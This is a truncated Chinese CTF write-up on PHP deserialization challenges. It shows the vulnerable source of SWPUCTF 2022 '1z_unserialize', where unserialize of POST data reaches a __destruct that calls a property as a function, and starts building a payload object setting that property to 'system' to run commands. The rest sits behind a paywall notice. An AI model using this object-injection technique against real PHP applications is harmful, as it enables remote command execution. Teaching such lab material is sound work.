PHP反序列化部分题目解析
1.[SWPUCTF 2022 新生赛]1z_unserialize
首先进入靶场后,我们可以直接看到题目的php源码如下:
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __destruct()
{
$a = $this->lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>
稍加分析,我们可以知道在实现nss反序列化的同时,会触发__destruct()的魔术方法将lt的值赋给a,然后调用a中存储的函数,并将lly属性的值作为参数传递给该函数,由此我们想到把a变成system();this->lly变成ls就可以了
进行构造:
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt="system";
public $lly="cat";

文章详细解析了三道PHP编程比赛中的反序列化题目,涉及如何利用魔术方法、构造payload绕过安全检查获取flag。第一题通过控制`lt`和`a`变量,第二题利用`__wakeup`的特性,第三题构造特定序列化对象以满足特定条件。
最低0.47元/天 解锁文章
5963

被折叠的 条评论
为什么被折叠?



